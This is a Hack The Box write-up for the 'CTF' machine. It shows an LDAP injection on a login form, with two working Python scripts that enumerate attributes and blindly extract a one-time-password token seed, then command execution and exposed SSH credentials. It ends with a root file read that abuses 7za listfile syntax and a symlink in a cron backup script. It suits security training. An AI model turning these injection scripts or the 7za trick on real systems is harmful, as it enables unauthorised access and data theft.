CTF

20/07/2019

CTF is a really interesting box that requires exploiting an LDAP injection vulnerability to be able to use a one time password system to obtain a shell. Then, to get the root flag, abuse a 7za functionality to read files as another user.

User Privilege Escalation

User

We'll start running a nmap to see we only have port 22/ssh and 80/http open.

root@kali:~/htb/ctf# nmap -sC -sV 10.10.10.122
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-19 06:09 EDT
Nmap scan report for 10.10.10.122
Host is up (0.069s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
|   256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_  256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: CTF

If we visit the website in port 80 we see the following text.

Any kind of bruteforcing enumeration tool such as gobuster or wfuzz won't work here or would take too much to run. Anyway, we don't need those here.

Going to the login site will take us to this form.

Trying any random username gives this message, which could mean we can enumerate users.

On the source code of the login page we have the following comment.

<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
<!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->

A token string with 81 digits? After some googling, we can find some sites talking about a similar token, in the stoken manpage for example.

Pure numeric (81-digit) "ctf" (compressed token format) strings,...

Yep, CTF like the machine box, we're going the right way.

How the comment also speaks about attributes and the creator of the box is also the creator of lightweight, the login probably uses ldap to authenticate users.

If we use the character * URL encoded (%2A) on the username field, we get the following message, which probably means we have an ldap injection vulnerability in the login and the application thought it was a valid user.

Note: the application URL encodes the username before sending it, so if we work with burp for example, we have to URL encode it two times (%252A).

The comment we saw before said the token is stored in an already existent attribute, so first we need to know which one is it. To do that we're going to use a variant of a PayloadAllTheThings payload: *)(uid=*))(|(uid=* and change uid for other attributes, if the response says 'Cannot login', means the attribute exists. I automated the process with the following script.

import requests
import time
import urllib.parse

attrs = ["buildingname","c","cn","co","comment","commonname","company","description","distinguishedname","dn","department","displayname","facsimiletelephonenumber","fax","friendlycountryname","givenname","homephone","homepostaladdress","info","initials","ipphone","l","mail","mailnickname","rfc822mailbox","mobile","mobiletelephonenumber","name","othertelephone","ou","pager","pagertelephonenumber","physicaldeliveryofficename","postaladdress","postalcode","postofficebox","samaccountname","serialnumber","sn","surname","st","stateorprovincename","street","streetaddress","telephonenumber","title","uid","url","userprincipalname","wwwhomepage"]
url = "http://10.10.10.122/login.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

for attr in attrs:
	time.sleep(1)
	payload = '*)(' + attr + '=*))(|(' + attr + '=*'
	username = urllib.parse.quote(urllib.parse.quote(payload))
	data = "inputUsername=" + username + "&inputOTP=123"
	r = requests.post(url, data=data, headers=headers)
	if b'Cannot login' in r.content:
		print(attr + ' exists!')
root@kali:~/htb/ctf# python3 attrme.py 
cn exists!
commonname exists!
mail exists!
rfc822mailbox exists!
name exists!
pager exists!
pagertelephonenumber exists!
sn exists!
surname exists!
uid exists!

Now that we know the available attributes, we're going to dump the values of each one using the same payload *)(ATTR=*))(|(ATTR=VALUE*, but now bruteforcing all possible characters.

import requests
import time
import urllib.parse


chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-/@+"
url = "http://10.10.10.122/login.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
attrs = ["cn", "commonname", "mail", "rfc822mailbox", "name", "pager", "pagertelephonenumber", "sn", "surname", "uid"] 

for attr in attrs:
	print('[+] Dumping ' + attr + ': ')
	next = False
	val = ""
	while not next:
		for i, c in enumerate(chars):
			time.sleep(1)
			payload = '*)(' + attr + '=*))(|(' + attr + '=' + val + c + '*'
			username = urllib.parse.quote(urllib.parse.quote(payload))
			data = "inputUsername=" + username + "&inputOTP=123"
			r = requests.post(url, data=data, headers=headers)
			if b'Cannot login' in r.content:
				val += c
				print(val)
				break
			if i == len(chars) - 1:
				next = True
root@kali:~/htb/ctf# python3 valueme.py 
[+] Dumping cn: 
l
...
ldapuser
[+] Dumping commonname: 
l
...
ldapuser
[+] Dumping mail: 
l
...
ldapuser@ctf
[+] Dumping rfc822mailbox: 
l
...
ldapuser@ctf
[+] Dumping name: 
l
...
ldapuser
[+] Dumping pager: 
2
28
...
28544949001135715653165154565233557071316741144572714060417214145671110271671700
285449490011357156531651545652335570713167411445727140604172141456711102716717000
[+] Dumping pagertelephonenumber: 
2
28
...
28544949001135715653165154565233557071316741144572714060417214145671110271671700
285449490011357156531651545652335570713167411445727140604172141456711102716717000
[+] Dumping sn: 
l
...
ldapuser
[+] Dumping surname: 
l
...
ldapuser
[+] Dumping uid: 
l
...
ldapuser

Now that we have the CTF token, we can use the tool stoken to generate One Time Passwords (OTP).

root@kali:~/htb/ctf# stoken import --token 285449490011357156531651545652335570713167411445727140604172141456711102716717000
Enter new password: 
Confirm new password: 
root@kali:~/htb/ctf# stoken tokencode
Enter PIN:
PIN must be 4-8 digits.  Use '0000' for no PIN.
Enter PIN: 0000
53373465

Using this OTP and the user %2A we can login, being redirected to /page.php where we have the following form.

Trying to execute anything will prompt us this error.

We just have to use *)(uid=*))(|(uid=* (%2A%29%28uid%3D%2A%29%29%28%7C%28uid%3D%2A) as username instead. Then we will be logged in as a valid user and we'll be able to execute commands.

Check what we have on the current folder using ls -la.

drwxr-xr-x. 6 root   root    176 Oct 23  2018 .
drwxr-xr-x. 4 root   root     33 Jun 27  2018 ..
-rw-r--r--. 1 root   root      0 May 19 22:34 banned.txt
-rw-r-----. 1 root   apache 1424 Oct 23  2018 cover.css
drwxr-x--x. 2 root   apache 4096 Oct 23  2018 css
drwxr-x--x. 4 root   apache   27 Oct 23  2018 dist
-rw-r-----. 1 root   apache 2592 Oct 23  2018 index.html
drwxr-x--x. 2 root   apache  242 Oct 23  2018 js
-rw-r-----. 1 root   apache 5021 Oct 23  2018 login.php
-rw-r-----. 1 root   apache   68 Oct 23  2018 logout.php
-rw-r-----. 1 root   apache 5245 Oct 23  2018 page.php
-rw-r-----. 1 root   apache 2324 Oct 23  2018 status.php
drwxr-x--x. 2 apache apache    6 Oct 23  2018 uploads

If we inspect the code of page.php we can see the following credentials.

...
$username = 'ldapuser';
$password = 'e398e27d5c4ad45086fe431120932a01';
...

Now we can connect via ssh.

root@kali:~/htb/ctf# ssh ldapuser@10.10.10.122
ldapuser@10.10.10.122's password: e398e27d5c4ad45086fe431120932a01
[ldapuser@ctf ~]$ 

We can read the user flag on ldapuser home directory.

[ldapuser@ctf ~]$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Privilege Escalation

After some enumeration we can find the following files owned by root in /backup.

[ldapuser@ctf backup]$ ls -la
total 52
drwxr-xr-x.  2 root root 4096 May 19 22:45 .
dr-xr-xr-x. 18 root root  238 Jul 31  2018 ..
-rw-r--r--.  1 root root   32 May 19 22:35 backup.1558298101.zip
-rw-r--r--.  1 root root   32 May 19 22:36 backup.1558298161.zip
-rw-r--r--.  1 root root   32 May 19 22:37 backup.1558298221.zip
-rw-r--r--.  1 root root   32 May 19 22:38 backup.1558298281.zip
-rw-r--r--.  1 root root   32 May 19 22:39 backup.1558298341.zip
-rw-r--r--.  1 root root   32 May 19 22:40 backup.1558298401.zip
-rw-r--r--.  1 root root   32 May 19 22:41 backup.1558298461.zip
-rw-r--r--.  1 root root   32 May 19 22:42 backup.1558298521.zip
-rw-r--r--.  1 root root   32 May 19 22:43 backup.1558298581.zip
-rw-r--r--.  1 root root   32 May 19 22:44 backup.1558298641.zip
-rw-r--r--.  1 root root   32 May 19 22:45 backup.1558298701.zip
-rw-r--r--.  1 root root    0 May 19 22:45 error.log
-rwxr--r--.  1 root root  975 Oct 23  2018 honeypot.sh

The file honeypot.sh seems to be executing as a cron job and zipping the files of /var/www/html/uploads and storing them here.

[ldapuser@ctf backup]$ cat honeypot.sh 
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt

# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')

# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f

# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *

# cleaup the honeypot
rm -rf -- *

# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log

What looks interesting here is the 7za instruction which compresses the files. If we check the documentation we can see there's the option to tell 7za to read the files to compress from the content of another file if we use @ on the filename.

7za <command> [<switches>... ] <archive_name> [<file_names>... ] [<@listfiles>... ]

We can abuse this to read files as the user who is running this script. We just have to create a file with the @ symbol and another one that points to the file we want to read, /root/root.txt in our case.

[ldapuser@ctf html]$ touch uploads/@root.txt
[ldapuser@ctf html]$ ln -s /root/root.txt uploads/root.txt

When the script is executed, it reads the contents of /root/root.txt and logs them on error.log but truncates the file afterwards, so we have to be reading the file using tail -f and we should get the flag.

[ldapuser@ctf uploads]$ tail -f /backup/error.log 

WARNING: No more files
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

tail: /backup/error.log: file truncated